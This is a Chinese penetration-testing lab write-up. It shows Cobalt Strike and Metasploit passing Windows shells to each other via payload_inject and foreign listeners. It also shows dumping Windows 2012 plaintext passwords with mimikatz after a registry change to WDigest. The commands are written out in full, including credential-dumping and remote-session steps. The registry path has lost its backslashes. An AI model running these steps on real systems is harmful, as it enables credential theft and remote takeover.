目录
CS和MSF的简单介绍
Metasploit
Cobalt Strike
1、CS权限传递到MSF
2、MSF权限传递到CS
3、使用mimikatz抓取明文密码
通过修改注册表+用户重新登录后抓取明文密码
今天的任务是两个
- 一个是CS与MSF的权限互相传递
- 一个是抓取windows2012的明文密码
那就分别来完成
CS和MSF的简单介绍
Metasploit
Metasploit就是一个漏洞框架。
它的全称叫做The Metasploit Framework,简称MSF。
是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。
它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。
当H.D. Moore在2003年发布MSF时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为MSF团队一直都在努力开发各种攻击工具,并将它们贡献给所有MSF用户。
MSF的设计初衷是打造成一个攻击工具开发平台,然而在目前情况下,安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境。
Cobalt Strike
Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。 Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。 早期版本Cobalt Srtike依赖Metasploit框架,而现在Cobalt Strike已经不再使用MSF而是作为单独的平台使用1。 这个工具的社区版是大家熟知的Armitage(一个MSF的图形化界面工具),而Cobalt Strike大家可以理解其为Armitage的商业版。
1、CS权限传递到MSF
使用CS生成一个木马文件
这里将木马文件放在WWW目录下,模拟内网web服务器主机
然后在靶机中模拟用户访问文件,下载木马文件后,以管理员身份运行
运行完成后,查看CS
可以看到,CS中成功上线了靶机的shell
下面就是想办法给权限传递到MSF中了
首先就是在MSF中先进行监听,毕竟马上就要有人给你发送请求了
然后再CS上面进行如下操作:
新建一个监听器
这里的Foreign HTTP的含义:
foreign/reverse_http: 将目标权限通过http的方式外派给metasploit或empire
foreign/reverse_https: 将目标权限通过https的方式外派给metasploit或empire
foreign/reverse_tcp: 将目标权限通过tcp的方式外派给metasploit或empire
这里我选择的就是将目标权限通过http的方式外派给msf
新建完成后,我们选中目标会话,然后右键点击新建会话,选择刚才新建的监听器
注:这里我犯了个低级的错误,可以看到我上面选择paylod时使用的是windows/meterpreter/reverse_tcp,这里不对的,在CS的监听器中说明的很明确了是以http/https/tcp,我选择的是http,但是接收端监听的是tcp,导致一下错误
通过更改后才成功上线,大家也要注意
修改正确后,点击Choose后去查看MSF:
可以看到shell已经成功的上线到MSF中了
2、MSF权限传递到CS
还是同样的在MAS中使用mafvenom生成一个木马文件到apache的站点目录文件中:
然后再使用MSF开启一个对应的ip端口的监听
还是同样的模拟用户访问该木马文件,下载,以管理员身份运行
然后查看MSF中的监听已经有shell上线了
下面就是将MSF中的shell传递到CS中了
首先在CS中新建一个监听器:
然后在msf中将会话使用background放到后台运行,因为下面还是进行其他操作:
然后在MSF中执行下列命令来进行会话传递:
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.159.151 # CS服务端IP
set lport 80 # CS服务端监听的端口号
set DisablePayloadHandler True
set PrependMigrate True
set session 1 # 会话id
run
执行完成后去查看CS,就可以看到CS中成功上线了MSF的会话了
3、使用mimikatz抓取明文密码
这里再简单的介绍一下mimikatz这款神器
Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具。
这里还是以CS为例吧,图像化好看一些
当目标上限到CS中后,我们可以右键会话里面有集成好的mimikatz
注:
我这里因为汉化了,正常应该是用mimikatz的
点击进行抓取,这里能够抓取的前提就是目标至少是管理员权限,如果不是管理员权限会爆错的:
可以看到抓取到的是hash值,并不是明文密码
并且这里也不是任务要求的windows2012系统,这里我还是切换到windows2012系统吧
这里就不上线到CS中,反客为主一手,将mimikatz上传到windows2012主机上
上传后,以管理员方式运行cmd,如果这里不以管理员运行可能后面执行命令会权限拒绝
然后还是同样的,执行下列命令进行密码抓取:
privilege::debug #获取权限
sekurlsa::logonpasswords 获取密码
可以看到还是无法抓取到明文密码,下面就是介绍抓取明文密码的方法了
通过修改注册表+用户重新登录后抓取明文密码
利用前提:拿到了admin权限的cmd,管理员用密码登录机器,并运行了lsass.exe进程,把密码保存在内存文件lsass进程中。
抓取明文的思路和流程:手工修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录
通过修改注册表来让Wdigest Auth保存明文口令:
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
如需恢复原样,只需将上图REG_DWORD的值1改为0即可。
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
修改注册表之后,修改了之后需要用户注销或者重新登陆之后才会生效。
这里我们就模拟正常用户重启系统,然后登录
使用mimikatz抓取密码:
可以看到现在已经可以抓取到明文密码了
参考文章:
Cobaltstrike 学习笔记(三)CS与MSF联动-腾讯云开发者社区-腾讯云
垂死挣扎?拯救你的Meterpreter session-安全客 - 安全资讯平台
mimikatz在Win10及2012系统以后的明文抓取方式-CSDN博客